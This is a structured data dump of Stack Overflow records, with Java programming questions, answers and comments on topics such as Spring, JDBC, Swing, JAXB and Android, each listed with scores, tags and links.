has body: I am extracting the post details of a facebook page. I extracted the json of a particular page and now I have to get id of all the posts of that page. How can I do it using facebook4j. private static String readpage(Reader rd) throws IOException { StringBuilder sb = new StringBuilder(); int cp; while ((cp = rd.read()) != -1) { sb.append((char) cp); } return sb.toString(); } public static JSONObject readurl(String url) throws IOException, JSONException { InputStream is = new URL(url).openStream(); try { BufferedReader rd = new BufferedReader(new InputStreamReader (is, Charset.forName("UTF-8"))); String jsonText = readpage(rd); JSONObject json = new JSONObject(jsonText); return json; } finally { is.close(); } } public static void main(String[] args) throws IOException, JSONException, FacebookException { JSONObject json = readurl("https://graph.facebook.com/"+s); }
has title: How to get all post id's of a specific page in facebook

http://stackoverflow.com/comment/33890248
type: Comment
score: 0
comment on: http://stackoverflow.com/a/22304629
type: AnswerComment
has text: (didn't see @David Wallace's comment before)

http://stackoverflow.com/comment/33981369
has text: This is an external contribution to the Python API only, it's not available in the other APIs. That said however, this particular function can be implemented very similarly in Java.
type: Comment
comment on: http://stackoverflow.com/q/22185826
score: 0
type: QuestionComment

http://stackoverflow.com/comment/33659124
score: 0
comment on: http://stackoverflow.com/q/22176518
has text: `which shouldn't happen.` why not? they are the same object
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22286725
has answer: http://stackoverflow.com/a/44996497
accepted answer: http://stackoverflow.com/a/22287599
has comment: http://stackoverflow.com/comment/33858744
upvote count: 1
type: Question
score: 1
tagged with: java
possible better answer: http://stackoverflow.com/a/22287127
has answer: http://stackoverflow.com/a/22287599
downvote count: 0
tagged with: applicationcontext
has answer: http://stackoverflow.com/a/22287127
favorite count: 0
has body: I have a big web project which is split across multiple modules. Each of the module has its own spring application context xml file. In the parent project's applicationContext.xml file I have imported all the child module's applicationContext.xml files. Say I have following child applicationContext.xml files -aContext.xml -bContext.xml -cContext.xml In the parent project's applicationContext.xml file all of these are being imported. But some of the places I see inside aContext.xml bContext.xml and cContext.xml are being imported again? The hierarchy is something like this - -applicationContext.xml(parent) -aContext.xml -bContext.xml -cContext.xml -bContext.xml -cContext.xml I can understand that there is no harm doing it as my web application is up and running perfectly. Only thing I am trying understand is, is there any performance glitch of doing it this way? If I remove the nested xml files and import them only once, will I see any performance improvement?
linked to: http://stackoverflow.com/q/11305731
has title: Importing same spring application context file multiple times
answer count: 3
tagged with: spring
type: AnsweredQuestion

http://stackoverflow.com/q/22294079
type: UnansweredQuestion
tagged with: netty
tagged with: network-programming
tagged with: java
has title: Efficient packet decoding
type: Question
has comment: http://stackoverflow.com/comment/33872137
has body: I am working on a Netty application for the SNMP protocol. The protocol has 3 different versions 1,2,3 and a corresponding message format to go with those versions. I am wondering what is the most efficient way to decode these based on the variations between packet formats. Snmpv1 message format: http://www.tcpipguide.com/free/t_SNMPVersion1SNMPv1MessageFormat.htm Snmpv2 message format: http://www.tcpipguide.com/free/t_SNMPVersion2SNMPv2MessageFormats-2.htm As you can see the messages differ in format. I would post v3 which differs by a lot but I can't post more than 2 links. My initial idea was to make a reflection based decocder but it's proving to be rather troublesome. Something along the lines of this (taken from a source on github): public &lt;T&gt; T decode(W buf, Class&lt;T&gt; clazz) throws Asn1Exception { if (typeEncoders.containsKey(clazz)) { return clazz.cast(typeEncoders.get(clazz).decode(buf)); } T obj; @SuppressWarnings("unchecked") Map&lt;String, Object&gt; sequence = (Map&lt;String, Object&gt;)annotatedTypeEncoders.get(UniversalType.SEQUENCE).decode(buf); try { obj = clazz.newInstance(); for (Map.Entry&lt;String, Object&gt; entry : sequence.entrySet()) { entry.getKey(); Field field = clazz.getField(entry.getKey()); field.setAccessible(true); field.set(obj, entry.getValue()); } } catch (Exception e) { throw new Asn1Exception("Unable to set fields on object", e); } return obj; } With a mapped class of something like this (my source): public final class DefaultSnmpPdu implements SnmpCommonPdu { @Asn1Type(type = Asn1Tag.INTEGER) private SnmpMessageType type; @Asn1Type(type = Asn1Tag.INTEGER) private int requestId; @Asn1Type(type = Asn1Tag.INTEGER) private SnmpErrorType errorType; @Asn1Type(type = Asn1Tag.INTEGER) private int errorIndex; @Asn1Type(type = Asn1Tag.SEQUENCE) private Map&lt;String, Object&gt; variableBindings; @Override public SnmpMessageType getType() { return type; } @Override public int getRequestId() { return requestId; } @Override publi…
tagged with: protocols
score: 0
has comment: http://stackoverflow.com/comment/33872315
tagged with: snmp
answer count: 0

http://stackoverflow.com/a/22287206
type: Answer
upvote count: 4
downvote count: 0
has body: Your sending 8 parameters by using, because each ? represent a parameter that required a value to be set at Run time. String query = "insert into `stocks`(?,?,?,?) values (?,?,?,?);"; Your query should look like this: String query = "insert into `stocks`(clmName1, clmName2, clmName3, clmName4) values (?,?,?,?);";
score: 4
answers question: http://stackoverflow.com/q/22287160

http://stackoverflow.com/q/22199458
tagged with: java
tagged with: jaxb
type: Question
has body: I have enum public enum CimRecordType { Account, ShippingAddress } and java bean public class MyClass{ @XmlElement(name= "RECORD_TYPE",required = true) public CimRecordType rt; } and my xml: &lt;Result &gt; &lt;RECORD_TYPE&gt;ACCNT&lt;/RECORD_TYPE&gt; &lt;/Result&gt; Account!=ACCNT But I want to map ACCNT as Account when I would unmarshal xml. map Account as ACCNT when I would marshal xml. How can I make it?
has answer: http://stackoverflow.com/a/22199617
tagged with: unmarshalling
has title: jaxb Enum to string custom mapping
downvote count: 0
answer count: 1
linked to: http://stackoverflow.com/q/22191021
tagged with: http://stackoverflow.com/tag/xml
favorite count: 0
accepted answer: http://stackoverflow.com/a/22199617
upvote count: 1
type: AnsweredQuestion
tagged with: enums
score: 1

http://stackoverflow.com/q/22316941
tagged with: session-cookies
answer count: 1
tagged with: session
tagged with: java
has body: I am storing id as a string in session in play framework with scala. Redirect("/").withSession("userId" -&gt; id.toString) I want to know is it possible to store it in Long type, because every time when i have to use it i am converting it again into Long again.
has title: Storing session value in long type
tagged with: playframework
has answer: http://stackoverflow.com/a/22317920
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/22317920
type: Question
score: 0
tagged with: scala

http://stackoverflow.com/comment/33685879
type: QuestionComment
score: 0
has text: You can't fix a problem at the server end from your end. Setting a read timeout is always a good idea, but this value is just silly, and won't affect this problem. Setting the connection timeout to a huge value is pointless as (a) you can't increase it beyond the platform default of about a minute, and (b) it has nothing to do with this problem.
comment on: http://stackoverflow.com/q/22190446
type: Comment

http://stackoverflow.com/a/22300645
score: 0
type: Answer
answers question: http://stackoverflow.com/q/22300097
has body: Yes the two constuctors will change the values of the variables, just simply because You simply will create new object and assign it to the variable. As @ Christian Kullmann wrote You should think about calling Your one constructor from the other using 'this( arg goes here)' To print the Arraylist elements You simply what to iterate them in loop and print one by another (as You did). However in case of overwriting toString You simply write like this public String toString(){ return "some text"; }

http://stackoverflow.com/q/22235899
tagged with: swing
type: Question
has title: textPanel.setText(""); doesn't work or display
tagged with: jtextarea
has comment: http://stackoverflow.com/comment/33767301
accepted answer: http://stackoverflow.com/a/22236711
score: 0
tagged with: settext
has answer: http://stackoverflow.com/a/22236711
has comment: http://stackoverflow.com/comment/33767181
answer count: 1
has comment: http://stackoverflow.com/comment/33766867
has comment: http://stackoverflow.com/comment/33766304
has comment: http://stackoverflow.com/comment/33767118
has comment: http://stackoverflow.com/comment/33766343
has body: Whenever I press "clear" in my Java GUI, it never works, please help me finish this. If i replace "textPanel" with another button, it works, otherwise with "textpanel" it doesn't. Here is a lightweight version of my code demonstrating the problem: import java.awt.*; import java.awt.event.*; import javax.swing.*; public class MainFrame extends JFrame { private TextPanel textPanel; private FormPanel formpanel; public MainFrame(){ super("My Frame"); createLayout(); createFrame(); } public void createFrame(){ setSize(600, 600); setDefaultCloseOperation(EXIT_ON_CLOSE); setVisible(true); } public void createLayout(){ BorderLayout myLayout = new BorderLayout(); setLayout(myLayout); textPanel = new TextPanel(); formpanel = new FormPanel(); // adding components add(textPanel, BorderLayout.CENTER); add(formpanel, BorderLayout.WEST); } public static void main(String[] args){ new MainFrame(); } public static class FormPanel extends JPanel { private JButton clear; private TextPanel textPanel; public FormPanel(){ clear = new JButton("Clear Cart!"); textPanel=new TextPanel(); add(clear); clear.addActionListener(new ActionListener(){ public void actionPerformed(ActionEvent aev){ System.out.println("Test"); textPanel.setText(""); } }); createGrid(); } /* this methods simply creates the layout */ void createGrid(){ //creating layout setLayout(new GridBagLayout()); GridBagConstraints gc = new GridBagConstraints(); gc.gridy++; gc.weightx = .1; gc.weighty = .1; gc.gridx = 2; gc.gridy=5; gc.anchor = GridBagConstraints.LINE_START; gc.insets = new Insets(0,0,0,0); add(clear, gc); } } public static class TextPanel extends JPanel { private JTextArea textArea; TextPanel (){ textArea = new JTextArea(); setLayout(new BorderLayout()); JScrollPane p = new JScrollPane(textArea); add(p, BorderLayout.CENTER); } public void appendSomeText(String t){ textArea.append(t); } public void setText(String s){ textArea.setText(s); } } }
tagged with: jbutton
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33768496
tagged with: java

http://stackoverflow.com/comment/33953903
has text: `GetObjectClass` would work in this case because the method is an instance method in the same class as the object to be created. I would find it confusing. `FindClass` is clearer.
type: Comment
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/22301152

http://stackoverflow.com/comment/33757696
comment on: http://stackoverflow.com/q/22231542
has text: You can loop `length` times and append or print a '-'.
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/q/22235343
accepted answer: http://stackoverflow.com/a/22235454
tagged with: generics
favorite count: 0
tagged with: generic-collections
has comment: http://stackoverflow.com/comment/33765331
linked to: http://stackoverflow.com/q/2745265
upvote count: 1
linked to: http://stackoverflow.com/q/20037561
possible better answer: http://stackoverflow.com/a/22235484
type: AnsweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/33765577
tagged with: java
tagged with: set
has title: Set not applicable for Collection in generic method with Java
type: Question
answer count: 2
has body: I defined a generic function in java with the signature &lt;V&gt; List&lt;V&gt; sortedValuesFromMap(Map&lt;?, Collection&lt;V&gt;&gt; keysValues, Comparator&lt;V&gt; comp) which takes a Map mapping any type of keys to a Collection of some defined type V, and a comparator of type V. The method works great and the Java compiler does not complain about type incompatibility. But now when I want to apply this method to a map of the type Map&lt;String, Set&lt;String&gt;&gt; and the AlphanumComparator (see here) the compiler says : The method sortedValuesFromMap(Map&lt;?,Collection&lt;V&gt;&gt;, Comparator&lt;V&gt;) in the type MyUtils is not applicable for the arguments (Map&lt;String,Set&lt;String&gt;, AlphanumComparator) Turning Collection to Set in the signature of sortedValuesFromMap would fix it – but I do not want to do that. So why is Java forcing me to do so, although Set&lt;E&gt; is implementing Collection&lt;E&gt;? PS: If someone is interested in my code: public static &lt;V&gt; List&lt;V&gt; sortedValuesFromMap(Map&lt;?, Collection&lt;V&gt;&gt; keysValues, Comparator&lt;V&gt; comp) { List&lt;V&gt; values = new LinkedList&lt;V&gt;(); for (Collection&lt;V&gt; col : keysValues.values()) { values.addAll(col); } Collections.sort(values, comp); return values; }
downvote count: 0
has answer: http://stackoverflow.com/a/22235484
has comment: http://stackoverflow.com/comment/33765205
has answer: http://stackoverflow.com/a/22235454

http://stackoverflow.com/q/22280419
possible better answer: http://stackoverflow.com/a/22280431
favorite count: 0
has body: import java.util.Scanner; class Tutorial { public static void main (String args[]){ System.out.println("Who goes there?"); Scanner name = new Scanner(System.in); ## I am asking for input form user but it does not take imput if (name.equals("me") || name.equals("Me") ){ System.out.println("Well, good for you smartass."); }else System.out.println("Well good meet"); } } Why does the program run the else and not ask for my input?
has answer: http://stackoverflow.com/a/22280431
answer count: 3
accepted answer: http://stackoverflow.com/a/22280484
has title: Why does it not ask me for input?
type: AnsweredQuestion
upvote count: 1
downvote count: 1
type: Question
tagged with: java
has answer: http://stackoverflow.com/a/22280484
score: 0
has answer: http://stackoverflow.com/a/22280461

http://stackoverflow.com/q/22271099
linked to: http://stackoverflow.com/q/18546842
downvote count: 0
upvote count: 16
has answer: http://stackoverflow.com/a/22271167
favorite count: 0
tagged with: exception
has comment: http://stackoverflow.com/comment/33831381
has title: Convert Exception to JSON
accepted answer: http://stackoverflow.com/a/22271986
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33831449
possible better answer: http://stackoverflow.com/a/22271167
tagged with: java
tagged with: http://stackoverflow.com/tag/json
score: 16
has body: Is it possible, in Java 7, to convert an Exception object into Json? example: try { //something } catch(Exception ex) { Gson gson = new Gson(); System.out.println(gson.toJson(ex)); }
type: Question
has answer: http://stackoverflow.com/a/22271986
answer count: 2
has comment: http://stackoverflow.com/comment/33829774

http://stackoverflow.com/comment/33972178
score: 0
has text: I thought that `org.apache.tomcat.dbcp.dbcp.PoolingDataSource` will be type of `ds` object. Make sure you are using `getClass().getName()` for `Connection` object
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22320510

http://stackoverflow.com/q/22296989
tagged with: java
has body: I am facing an issue with using the trunc(sysdate) from Oracle to run a query from jdbc. I am able to connect to the database from the code and execute simple queries for testing purposes. Below are the queries which i tried and and both seem to return nothing. //String sql ="SELECT CODE FROM TESTTABLE WHERE TO_CHAR(PROCESS_DT,'MM/DD/YYYY') = (SELECT TO_CHAR(SYSDATE,'MM/DD/YYYY') FROM DUAL)"; String sql ="SELECT PROCESS_DT,CODE FROM TESTTABLE WHERE PROCESS_DT = TRUNC(SYSDATE)"; //creating PreparedStatement object to execute query PreparedStatement preStatement = connection.prepareStatement(sql); ResultSet result = preStatement.executeQuery(); while(result.next()){ String code = result.getString("CODE"); System.out.println("---- code ----" + code); } The query above does not return any rows from the database when run with jdbc code from java. But the same runs in the PL/SQL developer and returns me the matched rows from the TestTable. Edit : Updated ============================== PROCESS_DT , CODE 11/21/2013 NFS 11/22/2013 NFS 03/10/2014 VPS The datatype of PROCESS_DT is Date in the db and i want to compare it with current business/sysdate for my code. Can anybody let me know what is the problem and am i doing anything wrong above and ways to correct it. Any help will be great as i could not find much on the net for this issue. Thanks Vikeng21
upvote count: 1
tagged with: oracle11g
type: Question
downvote count: 0
answer count: 1
score: 1
has title: Resultset is empty while executing trunc(sysdate) from Java/Jdbc
favorite count: 0
has answer: http://stackoverflow.com/a/22304560
type: UnansweredQuestion
tagged with: jdbc

http://stackoverflow.com/comment/33799200
comment on: http://stackoverflow.com/q/22254204
type: Comment
type: QuestionComment
score: 0
has text: good think you removed username and password :)

http://stackoverflow.com/comment/33703980
has text: Is this a standard `ArrayList`, or is it a [`Collections.synchronizedList(ArrayList)`](http://docs.oracle.com/javase/7/docs/api/java/util/Collections.html#synchronizedList(java.util.List)) / [`CopyOnWriteArrayList`](http://docs.oracle.com/javase/7/docs/api/java/util/concurrent/CopyOnWriteArrayList.html)?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22201510

http://stackoverflow.com/comment/34542067
comment on: http://stackoverflow.com/a/22340045
has text: @EladBenda `ACTION_USER_PRESENT` checks lock screen status. Normally apps cannot unlock your phone unless itself is a lockscreen replacement or you've rooted your phone to yield access to that operation. If screen is unlocked then it's ok to assume that the user wants to interact with the phone.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/33710182
score: 0
has text: possible duplicate of [Android codes for recording time (leaderboards)](http://stackoverflow.com/questions/22150941/android-codes-for-recording-time-leaderboards)
type: QuestionComment
comment on: http://stackoverflow.com/q/22201494
type: Comment

http://stackoverflow.com/comment/68704314
has text: With an important difference: getMethods returns only public methods (i.e. the object's API) whereas getDeclaredMethods includes protected and private methods.
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22312035

http://stackoverflow.com/q/22196892
has title: String to Byte[] and Byte to String
tagged with: java
type: Question
has body: Given the following example: String f="FF00000000000000"; byte[] bytes = DatatypeConverter.parseHexBinary(f); String f2= new String (bytes); I want the output to be FF00000000000000 but it's not working with this method.
answer count: 1
tagged with: string
has answer: http://stackoverflow.com/a/22196947
tagged with: byte
favorite count: 0
upvote count: 2
linked to: http://stackoverflow.com/q/6684665
has comment: http://stackoverflow.com/comment/33695184
downvote count: 1
accepted answer: http://stackoverflow.com/a/22196947
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33695194
score: 1

http://stackoverflow.com/a/25337442
downvote count: 0
answers question: http://stackoverflow.com/q/22312332
has body: I'm using cordova and the following worked for me: cordova platform rm android cordova platform add android After this refresh eclipse acted a bit wonky just remove and add the project back again.
type: Answer
score: 2
upvote count: 2

http://stackoverflow.com/comment/33907889
type: Comment
type: QuestionComment
has text: Start by reading the documentation: http://docs.oracle.com/javase/7/docs/api/java/lang/Thread.html#sleep(long) and http://docs.oracle.com/javase/7/docs/api/java/lang/StackOverflowError.html
score: 0
comment on: http://stackoverflow.com/q/22314103

http://stackoverflow.com/comment/33685336
type: QuestionComment
comment on: http://stackoverflow.com/q/22170202
score: 0
has text: can you define what you mean by 'inappropriate' ? maybe we're talking of different problems?
type: Comment

http://stackoverflow.com/a/22281679
answers question: http://stackoverflow.com/q/22280796
upvote count: 1
type: Answer
downvote count: 0
score: 1
has body: Steps to follow: First replace all \" with some temp string such as String tempStr="forward_slash_followed_by_double_quote"; line = line.replaceAll("\\\\\"", tempStr); //line = line.replaceAll("\\\"", tempStr); do what ever you are doing Finally replace that temp string with \" line = line.replaceAll(tempStr, "\\\\\""); //line = line.replaceAll(tempStr, "\\\"");

http://stackoverflow.com/q/22207436
has comment: http://stackoverflow.com/comment/33715126
possible better answer: http://stackoverflow.com/a/22207733
has answer: http://stackoverflow.com/a/22207733
accepted answer: http://stackoverflow.com/a/22207623
has comment: http://stackoverflow.com/comment/33807994
score: 0
has comment: http://stackoverflow.com/comment/33714861
tagged with: sql
tagged with: android
tagged with: insert
has comment: http://stackoverflow.com/comment/33715129
has body: In the following block, RestaurantInt is a data type and update() opens a connection to the database and manipulates data. public boolean registerRestaurant(RestaurantInt restaurant) { boolean result = update("INSERT INTO restaurants (name, emailAddress, houseNumber, postCode, password) VALUES (\'"+restaurant.getName()+"\', \'"+restaurant.getEmail()+"\', "+restaurant.getAddress().getHouseNumber()+", \'"+restaurant.getAddress().getPostCode()+"\', \'"+restaurant.getPassword()+"\')"); return result; } Here's the structure of restaurants: Name - Type - Null? - Extra restaurantID - int(11) - NO - auto_increment (primary key) name - varchar(20) - YES - emailAddress - varchar(20) - NO - houseNumber - int(11) - NO - (multiple key) postCode - varchar(6) - NO - password - varchar(20) - NO - EDIT I simply removed the escapes and it worked perfectly. I hadn't removed escapes because I had been instructed to always use escape. Throughout the rest of the project, it never posed an issue until now. Thanks for the help!
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22207623
tagged with: java
tagged with: mysql
type: Question
has title: Why does this INSERT not work?
answer count: 2
has comment: http://stackoverflow.com/comment/33984816

http://stackoverflow.com/a/22305360
has comment: http://stackoverflow.com/comment/33978500
score: 4
upvote count: 4
has comment: http://stackoverflow.com/comment/33892282
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/33982947
accepted answer of: http://stackoverflow.com/q/22305141
has comment: http://stackoverflow.com/comment/33892263
type: Answer
has comment: http://stackoverflow.com/comment/33978644
answers question: http://stackoverflow.com/q/22305141
has comment: http://stackoverflow.com/comment/33980904
has body: Simplest way I can think of is to use String.split("\\s"), which will split based on spaces. Then have a HashMap containing a word as the key with the value being the number of times it is used. HashMap&lt;String, Integer&gt; mapOfWords = new HashMap&lt;String, Integer&gt;(); while (file.hasNextLine()) { String s = file.nextLine(); String[] words = s.split("\\s"); int count; for (String word : words) { if (mapOfWords.get(word) == null) { mapOfWords.put(word, 1); } else { count = mapOfWord.get(word); mapOfWords.put(word, count + 1); } } } Implementation you requested to skip strings that contain certain words HashMap&lt;String, Integer&gt; mapOfWords = new HashMap&lt;String, Integer&gt;(); while (file.hasNextLine()) { String s = file.nextLine(); String[] words = s.split("\\s"); int count; if (isStringWanted(s) == false) { continue; } for (String word : words) { if (mapOfWords.get(word) == null) { mapOfWords.put(word, 1); } else { count = mapOfWord.get(word); mapOfWords.put(word, count + 1); } } } private boolean isStringWanted(String s) { String[] checkStrings = new String[] {"chelsea", "Liverpool", "#LFC"}; for (String check : checkString) { if (s.contains(check)) { return false; } } return true; }
has comment: http://stackoverflow.com/comment/33983525

http://stackoverflow.com/q/22299528
has body: I have a class define as follow public class EvaluationResult implements java.io.Serializable { public String ClassName; public boolean FeedbackDirected; public double HV; public double Spread; public double PercentageOfCorrectness; public double TimeElapsed; public ArrayList&lt;double[]&gt; ParetoFront; } Doing this public static void main(String[] args) throws Exception { EvaluationResult ae=new EvaluationResult(); FileOutputStream fileOut =new FileOutputStream("result.txt"); ObjectOutputStream out = new ObjectOutputStream(fileOut); out.writeObject(fileOut); out.close(); fileOut.close(); } gives me java.io.NotSerializableException what is the problem?
answer count: 3
downvote count: 0
score: 1
has answer: http://stackoverflow.com/a/22299634
favorite count: 0
tagged with: serialization
has comment: http://stackoverflow.com/comment/33881454
has comment: http://stackoverflow.com/comment/33881491
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22299554
has comment: http://stackoverflow.com/comment/33880975
tagged with: java
has comment: http://stackoverflow.com/comment/33881482
upvote count: 1
type: Question
has title: An error: java.io.NotSerializableException
linked to: http://stackoverflow.com/q/13895867
has answer: http://stackoverflow.com/a/22299573

http://stackoverflow.com/comment/34190043
comment on: http://stackoverflow.com/a/22475456
score: 0
has text: [reply] (Camel (camelContext) thread #0 - JmsConsumer[inQueue]) Exchange[ExchangePattern: InOut, BodyType: String, Body: ]
type: AnswerComment
type: Comment

http://stackoverflow.com/q/22291596
tagged with: runtimeexception
answer count: 0
has comment: http://stackoverflow.com/comment/33867394
favorite count: 0
has comment: http://stackoverflow.com/comment/33867368
type: Question
tagged with: exception
has body: I need to make changes to two classes. so, that exceptions are thrown when necessary. And, I have a class in the program called CheckEmptyException and it extends RuntimeException. Where do I make these changes to the other two classes? In the classes there are two methods called public boolean isEmpty().
score: 0
tagged with: java
upvote count: 1
downvote count: 1
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33867357
has title: Throwing exceptions in other classes

http://stackoverflow.com/a/22190124
score: 2
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22185126
answers question: http://stackoverflow.com/q/22185126
upvote count: 2
type: AcceptedAnswer
has body: Per New Relic doc: We look at the wall-clock time (the amount of time as recorded by the clock) for all the transactions, and we sum that across all of the transactions. Because the server can execute requests in parallel, you end up with percentages over 100. A percentage of 100 would would mean that the execution time across those 5 transactions is equal to the time expended when recording wall clock time.
type: Answer

http://stackoverflow.com/comment/33691685
comment on: http://stackoverflow.com/a/22178388
type: AnswerComment
has text: My reputation is too small to do this now. I have to wait until tomorrow.
score: 0
type: Comment

http://stackoverflow.com/a/22172453
type: Answer
downvote count: 0
has comment: http://stackoverflow.com/comment/33652075
score: 1
answers question: http://stackoverflow.com/q/22172373
upvote count: 1
has body: Create a singleton object and populate it with the values http://en.wikipedia.org/wiki/Singleton_pattern

http://stackoverflow.com/comment/33690057
comment on: http://stackoverflow.com/q/22172062
has text: I think, that this problem is caused by the inaccuracy of doubles (More info here: [http://stackoverflow.com/questions/177506/why-do-i-see-a-double-variable-initialized-to-some-value-like-21-4-as-21-3999996](http://stackoverflow.com/questions/177506/why-do-i-see-a-double-variable-initialized-to-some-value-like-21-4-as-21-3999996)). You could try to use a formatter for displaying the double-value -> `com.google.gwt.i18n.client.NumberFormat`
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/q/22194490
has comment: http://stackoverflow.com/comment/33691013
score: -2
has body: I need help to make list from my Jlist jListpersons, and i want to convert that list to a String List listOfPersonNames = jListpersons.getSelectedValuesList(); String teamName = (String)jListhold.getSelectedValue(); String[] personNamesA = (String[])listOfPersonNames.toArray(); con.createNewTeam(teamName, personNamesA[0], personNamesA[1], personNamesA[2], personNamesA[3]);
accepted answer: http://stackoverflow.com/a/22194868
has comment: http://stackoverflow.com/comment/33709027
upvote count: 0
tagged with: string
favorite count: 0
has comment: http://stackoverflow.com/comment/33691012
has answer: http://stackoverflow.com/a/22194557
has answer: http://stackoverflow.com/a/22194856
answer count: 4
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33709122
tagged with: list
has answer: http://stackoverflow.com/a/22195013
has answer: http://stackoverflow.com/a/22194868
tagged with: java
downvote count: 2
has title: How to convert from list to String - java
possible better answer: http://stackoverflow.com/a/22194557
type: Question

http://stackoverflow.com/q/22238832
has body: We are trying to build resource expansion functionality for our REST services. The resource expansion can be provided by following pattern fields=field1,field2(sf1,sf2),field3[Format],field4(sf1,sf2,sf3) What could be the best way to parse this? The parsing has to happen for every incoming request and hence, has to be a better performing. We are trying to check if a regex can be defined for this. What could be the regex for such a pattern? Edit (10-Mar-2014): The string contains only metadata (Java field names) and it can be also multi-level like field1(sf1,sf2(sf21,sf22)),field2[Format],field3[Format],field4(sf1,sf2,sf3) Should I use regex or parse manually?
type: Question
has answer: http://stackoverflow.com/a/22238963
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/25245573
tagged with: regex
has title: Parsing for resource expansion for REST services
type: UnansweredQuestion
tagged with: java

http://stackoverflow.com/q/22306477
has comment: http://stackoverflow.com/comment/33894622
answer count: 3
has comment: http://stackoverflow.com/comment/33895782
downvote count: 0
has comment: http://stackoverflow.com/comment/33895447
favorite count: 0
has body: Hi guys i started learning android development about 2 days ago.. So was trying out with a basic application to increment and decrement. Everything is okay but when i'm testing the application even on the emulator, i get a message "Unfortunately, application " I tried debugging the code and found that Even after declaring a statement findViewById(), my variables are pointing to null. And i think that's the reason for this error.. heres my code, in MainActivity.java. Please help me out! public class MainActivity extends ActionBarActivity { /* Your original code */ /* TextView sum; Button increment; Button decrement; */ int total; /* My interpretation */ protected static TextView sum; protected static Button increment; protected static Button decrement; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); this.findViewById(); total = 0; increment.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { total++; sum.setText("Sum is "+total); } }); decrement.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { total--; sum.setText("Sum is "+total); } }); if (savedInstanceState == null) { getSupportFragmentManager().beginTransaction() .add(R.id.container, new PlaceholderFragment()) .commit(); } } /* Your original code (moved to fragment) */ /* private void findViewById() { sum = (TextView) findViewById(R.id.tv); // sum points to null increment = (Button) findViewById(R.id.inc); //increment points to null decrement = (Button) findViewById(R.id.dec); // decrement points to null } */ EDIT :: placeholder fragment :: public static class PlaceholderFragment extends Fragment { public PlaceholderFragment() { } /* added */ Context ctx = null; @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View rootView; rootView = inflater.inflate(R.layout.fragment_main, containe…
has comment: http://stackoverflow.com/comment/33895506
tagged with: android
has comment: http://stackoverflow.com/comment/33893844
upvote count: 1
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22307677
has comment: http://stackoverflow.com/comment/33894030
score: 1
has comment: http://stackoverflow.com/comment/33895584
tagged with: java
has answer: http://stackoverflow.com/a/22307719
type: Question
possible better answer: http://stackoverflow.com/a/22306773
has comment: http://stackoverflow.com/comment/33895425
has answer: http://stackoverflow.com/a/22306773
has comment: http://stackoverflow.com/comment/33894148
has comment: http://stackoverflow.com/comment/33895513
has title: Android Application closing for no reason
accepted answer: http://stackoverflow.com/a/22307677
has comment: http://stackoverflow.com/comment/33895308

http://stackoverflow.com/comment/33757796
type: Comment
score: 0
comment on: http://stackoverflow.com/a/22211198
type: AnswerComment
has text: Wow, If I could inject the CometD service into MDB, that would be great. Could you please point some document or tutorial which injects CometD service on MDB? Thanks very much for the detailed answers and your time. :-)

http://stackoverflow.com/comment/33706220
type: Comment
type: QuestionComment
has text: You should be able to use `STRUCT` to access this data, as in [this question](http://stackoverflow.com/questions/3626061/how-to-call-oracle-stored-procedure-which-include-user-defined-type-in-java). And here's an [example with an OUT parameter](http://stackoverflow.com/questions/6410452/fetch-oracle-table-type-from-stored-procedure-using-jdbc).
score: 1
comment on: http://stackoverflow.com/q/22201330

http://stackoverflow.com/comment/33739223
has text: Unfortunately, the storing is not the problem, it's the scanner reading. So, I still receive the error.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/22221094
type: Comment

http://stackoverflow.com/comment/33692412
type: Comment
has text: Done! :) Please check my original post!
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22194292

http://stackoverflow.com/a/22264367
has body: Your game loop (the part of your code that says while(game)) which is supposed to run until the game is over is a little misplaced. Because that loop is infinite on purpose it will never reach the lines after it that set up values for the frame. These statements: f.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); f.setSize(768,790); f.setLocationRelativeTo(null); f.setVisible(true); Need to be placed before the loop. Then to properly register the frame's mouse listener you have to add it to your frame like this: f.addMouseListener(this); This works because SnakeGame can be considered a MouseListener because it implements that interface. Bonus Tip: The correct way to pause execution is to use a swing timer, not have a for loop run a bunch of times. Read this for more information about using timers. Hope that Helps!
has comment: http://stackoverflow.com/comment/33818876
has comment: http://stackoverflow.com/comment/33818850
has comment: http://stackoverflow.com/comment/33818554
answers question: http://stackoverflow.com/q/22264211
type: Answer
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/33818582
upvote count: 2

http://stackoverflow.com/a/22191255
upvote count: 3
has body: Your quotes are left quote and right quote (\8220 and \8221 ) characters which are not accepted by Java, it should be single quotes: (“Hello, world!”); and ("Hello, world!") see the difference? Event the stackoverflow code coloring thingy recognizes it differently :)
type: Answer
score: 3
answers question: http://stackoverflow.com/q/22191198
downvote count: 0

http://stackoverflow.com/comment/33775136
has text: I'll just be LazyProgrammer :)
type: AnswerComment
comment on: http://stackoverflow.com/a/22240487
score: 0
type: Comment

http://stackoverflow.com/comment/33827225
has text: I thought that super and extends are simmetrical
comment on: http://stackoverflow.com/q/22269706
score: 0
type: Comment
